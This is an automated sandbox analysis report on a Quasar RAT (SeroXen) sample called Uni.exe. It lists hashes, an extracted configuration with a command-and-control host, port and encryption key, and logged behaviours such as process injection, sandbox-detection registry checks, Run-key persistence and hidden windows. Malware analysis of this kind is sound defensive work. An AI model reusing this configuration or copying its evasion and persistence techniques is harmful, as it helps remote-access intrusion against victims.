quasar | 00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-12-2024 06:56

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General

Target

Uni.exe
Size

8.2MB
MD5

917c0479804b76ae493bad95bf0c7710
SHA1

7441c9042a3db3642416bd1fbee680e41fed6000
SHA256

00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4
SHA512

93ca248c62caa51a81a5156674ce4eceddc7c2bfd9331a8d522528d80b0d42042957e152e63021f9c3c6696ec76cbaec2ec5bc2820f5c0caf4976040e99d3aa8
SSDEEP

196608:szdoXA+DYyx8t5KwwFdR3TNpiCHK9MIuBRR23pyHVvGAE+:szUDh8t55wFd1NckKKH+3pyHU

Score

10^/10

quasar v2.2.1 | seroxen defense_evasion discovery persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.1 | SeroXen

VIPEEK1990-25013.portmap.host:25013

Mutex

7018d402-47e5-4cb4-a786-2ea02c04bce5

Attributes

encryption_key
B25AE15F5F63DA9A5796B857943A95D816F98892
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/3788-66-0x0000015BF7EC0000-0x0000015BF868A000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2428 created 5636	2428	WerFault.exe	112
PID 5292 created 5792	5292	WerFault.exe	118

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 1188 created 616	1188	Uni.bat.exe	5
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 1188 created 616	1188	Uni.bat.exe	5
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 5936 created 5636	5936	svchost.exe	112
PID 3788 created 616	3788	$sxr-powershell.exe	5
PID 5936 created 5792	5936	svchost.exe	118
PID 3788 created 616	3788	$sxr-powershell.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Uni.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
1188	Uni.bat.exe
972	$sxr-mshta.exe
1112	$sxr-cmd.exe
3788	$sxr-powershell.exe
3668	$sxr-powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Uni.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3788	$sxr-powershell.exe
3668	$sxr-powershell.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 1188 set thread context of 4340	1188	Uni.bat.exe	90
PID 1188 set thread context of 2444	1188	Uni.bat.exe	93
PID 3788 set thread context of 2372	3788	$sxr-powershell.exe	99
PID 3788 set thread context of 1532	3788	$sxr-powershell.exe	100
PID 3788 set thread context of 3308	3788	$sxr-powershell.exe	102
PID 3788 set thread context of 2460	3788	$sxr-powershell.exe	104
PID 1188 set thread context of 2136	1188	Uni.bat.exe	107
PID 1188 set thread context of 5236	1188	Uni.bat.exe	108
PID 3788 set thread context of 2232	3788	$sxr-powershell.exe	109
PID 3788 set thread context of 5756	3788	$sxr-powershell.exe	110
PID 3788 set thread context of 1020	3788	$sxr-powershell.exe	111
PID 3788 set thread context of 5636	3788	$sxr-powershell.exe	112
PID 3788 set thread context of 2704	3788	$sxr-powershell.exe	115
PID 3788 set thread context of 4640	3788	$sxr-powershell.exe	117
PID 3788 set thread context of 5792	3788	$sxr-powershell.exe	118
PID 3788 set thread context of 2336	3788	$sxr-powershell.exe	121
PID 3788 set thread context of 6132	3788	$sxr-powershell.exe	122
PID 3788 set thread context of 1580	3788	$sxr-powershell.exe	123

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5736	5636	WerFault.exe	112

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3412	cmd.exe
2016	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1388	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1734332285"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 16 Dec 2024 06:58:06 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2016	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1188	Uni.bat.exe
1188	Uni.bat.exe
1188	Uni.bat.exe
4340	dllhost.exe
4340	dllhost.exe
4340	dllhost.exe
4340	dllhost.exe
2444	dllhost.exe
2444	dllhost.exe
2444	dllhost.exe
2444	dllhost.exe
1188	Uni.bat.exe
1188	Uni.bat.exe
3788	$sxr-powershell.exe
3788	$sxr-powershell.exe
3788	$sxr-powershell.exe
3788	$sxr-powershell.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
2372	dllhost.exe
2372	dllhost.exe
2372	dllhost.exe
2372	dllhost.exe
3788	$sxr-powershell.exe
3788	$sxr-powershell.exe
3668	$sxr-powershell.exe
3668	$sxr-powershell.exe
3668	$sxr-powershell.exe
3668	$sxr-powershell.exe
3788	$sxr-powershell.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe
2460	dllhost.exe
3308	dllhost.exe
3308	dllhost.exe
2460	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1188	Uni.bat.exe
Token: SeDebugPrivilege	1188	Uni.bat.exe
Token: SeDebugPrivilege	4340	dllhost.exe
Token: SeDebugPrivilege	2444	dllhost.exe
Token: SeDebugPrivilege	3788	$sxr-powershell.exe
Token: SeDebugPrivilege	3788	$sxr-powershell.exe
Token: SeDebugPrivilege	1532	dllhost.exe
Token: SeDebugPrivilege	2372	dllhost.exe
Token: SeDebugPrivilege	3668	$sxr-powershell.exe
Token: SeDebugPrivilege	3788	$sxr-powershell.exe
Token: SeDebugPrivilege	3308	dllhost.exe
Token: SeDebugPrivilege	2460	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1520	svchost.exe
Token: SeIncreaseQuotaPrivilege	1520	svchost.exe
Token: SeSecurityPrivilege	1520	svchost.exe
Token: SeTakeOwnershipPrivilege	1520	svchost.exe
Token: SeLoadDriverPrivilege	1520	svchost.exe
Token: SeSystemtimePrivilege	1520	svchost.exe
Token: SeBackupPrivilege	1520	svchost.exe
Token: SeRestorePrivilege	1520	svchost.exe
Token: SeShutdownPrivilege	1520	svchost.exe
Token: SeSystemEnvironmentPrivilege	1520	svchost.exe
Token: SeUndockPrivilege	1520	svchost.exe
Token: SeManageVolumePrivilege	1520	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1520	svchost.exe
Token: SeIncreaseQuotaPrivilege	1520	svchost.exe
Token: SeSecurityPrivilege	1520	svchost.exe
Token: SeTakeOwnershipPrivilege	1520	svchost.exe
Token: SeLoadDriverPrivilege	1520	svchost.exe
Token: SeSystemtimePrivilege	1520	svchost.exe
Token: SeBackupPrivilege	1520	svchost.exe
Token: SeRestorePrivilege	1520	svchost.exe
Token: SeShutdownPrivilege	1520	svchost.exe
Token: SeSystemEnvironmentPrivilege	1520	svchost.exe
Token: SeUndockPrivilege	1520	svchost.exe
Token: SeManageVolumePrivilege	1520	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1520	svchost.exe
Token: SeIncreaseQuotaPrivilege	1520	svchost.exe
Token: SeSecurityPrivilege	1520	svchost.exe
Token: SeTakeOwnershipPrivilege	1520	svchost.exe
Token: SeLoadDriverPrivilege	1520	svchost.exe
Token: SeSystemtimePrivilege	1520	svchost.exe
Token: SeBackupPrivilege	1520	svchost.exe
Token: SeRestorePrivilege	1520	svchost.exe
Token: SeShutdownPrivilege	1520	svchost.exe
Token: SeSystemEnvironmentPrivilege	1520	svchost.exe
Token: SeUndockPrivilege	1520	svchost.exe
Token: SeManageVolumePrivilege	1520	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1520	svchost.exe
Token: SeIncreaseQuotaPrivilege	1520	svchost.exe
Token: SeSecurityPrivilege	1520	svchost.exe
Token: SeTakeOwnershipPrivilege	1520	svchost.exe
Token: SeLoadDriverPrivilege	1520	svchost.exe
Token: SeSystemtimePrivilege	1520	svchost.exe
Token: SeBackupPrivilege	1520	svchost.exe
Token: SeRestorePrivilege	1520	svchost.exe
Token: SeShutdownPrivilege	1520	svchost.exe
Token: SeSystemEnvironmentPrivilege	1520	svchost.exe
Token: SeUndockPrivilege	1520	svchost.exe
Token: SeManageVolumePrivilege	1520	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1520	svchost.exe
Token: SeIncreaseQuotaPrivilege	1520	svchost.exe
Token: SeSecurityPrivilege	1520	svchost.exe
Token: SeTakeOwnershipPrivilege	1520	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3788	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 3248	3304	Uni.exe	82
PID 3304 wrote to memory of 3248	3304	Uni.exe	82
PID 3248 wrote to memory of 1188	3248	cmd.exe	84
PID 3248 wrote to memory of 1188	3248	cmd.exe	84
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 4340	1188	Uni.bat.exe	90
PID 1188 wrote to memory of 5016	1188	Uni.bat.exe	92
PID 1188 wrote to memory of 5016	1188	Uni.bat.exe	92
PID 1188 wrote to memory of 5016	1188	Uni.bat.exe	92
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 1188 wrote to memory of 2444	1188	Uni.bat.exe	93
PID 972 wrote to memory of 1112	972	$sxr-mshta.exe	96
PID 972 wrote to memory of 1112	972	$sxr-mshta.exe	96
PID 1112 wrote to memory of 3788	1112	$sxr-cmd.exe	98
PID 1112 wrote to memory of 3788	1112	$sxr-cmd.exe	98
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 2372	3788	$sxr-powershell.exe	99
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 1532	3788	$sxr-powershell.exe	100
PID 3788 wrote to memory of 3668	3788	$sxr-powershell.exe	101
PID 3788 wrote to memory of 3668	3788	$sxr-powershell.exe	101
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 3308	3788	$sxr-powershell.exe	102
PID 3788 wrote to memory of 4640	3788	$sxr-powershell.exe	103
PID 3788 wrote to memory of 4640	3788	$sxr-powershell.exe	103
PID 3788 wrote to memory of 4640	3788	$sxr-powershell.exe	103
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104
PID 3788 wrote to memory of 2460	3788	$sxr-powershell.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5224	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{46d49a45-9db2-43f0-b12c-f27dca0c7fd1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{beef21d5-c1c4-47dc-bbc7-b1c070ec5e56}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c2f5e7ea-1394-4b8c-9925-37e197498fc5}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3308
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8aa1c17b-0803-4dc3-9504-9a7473dfa18f}
  2⤵
  PID:2136
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{66e9e712-7d31-4f2f-b0a4-ae182c913527}
  2⤵
  PID:2232
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{32380cc1-9999-43f4-a24b-72e587f0fd9f}
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f087fc9a-8eb0-42cf-8f34-bdbc70f14d06}
  2⤵
  PID:2704
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2a1d6e50-557f-4547-bc39-58db60acbea8}
  2⤵
  PID:5792
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5792 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:4608
- C:\Windows\System32\dllhost.exe
